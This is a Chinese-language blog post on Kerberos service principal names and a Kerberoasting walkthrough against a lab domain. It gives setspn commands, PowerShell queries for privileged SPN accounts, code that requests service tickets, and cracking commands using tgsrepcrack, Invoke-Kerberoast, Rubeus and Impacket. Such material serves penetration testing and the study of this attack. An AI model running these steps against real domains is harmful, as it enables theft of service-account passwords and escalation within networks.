zoukankan      html  css  js  c++  java
  • Kerberos&SPN、Kerberoasting

    SPN简介

    SPN是服务器上所运行服务的唯一标识,每个使用kerberos的服务都需要一个SPN;一种注册在AD上机器账户下,另一种注册在域用户下,当一个服务权限为localsystem或者networkservice,则SPN注册在机器账户Computers下,当一个机器服务的权限为一个域用户,则SPN注册在域用户账户Users下
    
    格式:
    serviceclass/host:port/servicename
    serviceclass:服务名称,如smtp、dns等等
    host:FQDN&NETBIOS,如serversmtp.test.com&serversmtp
    如果服务运行在默认端口则端口可以省略
    

    注册

    setspn -A mysql/OWA2013.rootkit.org:3306  backup
    注册一个名为mysql的SPN,分配至backup用户
    
    setspn -S mysql/OWA2013.rootkit.org:3306  backup
    验证SPN不存在重复项后进行添加、该参数是用server08后系统开始默认提供
    

    SPN查询

    已知SPN也是通过ldap查询的,当前用户也必须是域用户或者机器用户
    setspn -q */*
    setspn -T rootkit.org -q */*
    

    关于域用户&机器用户注册的SPN,如下分别即可
    

    确认调用ldap协议
    

    Kerberoasting利用

    获得SPN修改权限后,能够为指定的域用户添加一个SPN,这样就可以随时获得目标的TGS,通过破解hash能够获得其用户口令
    

    寻找有价值的SPN

    注意这个模块只有域控上才有
    import-module ActiveDirectory
    get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
    

    powerview同样可查
    Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last
    

    kerberoast
    powershell: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
    vbs: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
    

    获得指定服务TGS

    $SPNName = 'MSSQLSvc/Srv-Web-Kit.rootkit.org'
    Add-Type -AssemblyNAme System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
    

    导出凭证
    

    获得所以服务TGS
    Add-Type -AssemblyName System.IdentityModel  
    setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  
    

    破解凭证

    tgsrepcrack

    https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
    python3 tgsrepcrack.py 字典.txt 凭证.kirbi
    

    Invoke-Kerberoast

    https://github.com/EmpireProject/Empire/blob/6ee7e036607a62b0192daed46d3711afc65c3921/data/module_source/credentials/Invoke-Kerberoast.ps1
    Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
    

    Rubeus

    Rubeus.exe kerberoast
    

    Impacket

    GetUserSPNs_windows.exe -request -dc-ip 192.168.3.144 -debug rootkit.org/sqladmin
    

  • 相关阅读:
    C++类成员变量多用指针不用对象
    C++列表初始化是初始化本类自身含有的成员变量,不能直接初始化继承过来的成员变量
    std::unorder_set你插入元素的顺序不一定就是元素在里面的元素
    yolo3使用darknet卷积神经网络训练pascal voc
    windows下执行tensorflow/models的代码显示No module named 'object_detection'
    extern const 不能一起用
    常见PID里面的像素大小
    ajax 异步请求webservice(XML格式)
    剖析下聊天室
    session更换存储,实现在多台服务器共享
  • 原文地址:https://www.cnblogs.com/Yang34/p/14278011.html
Copyright © 2011-2022 走看看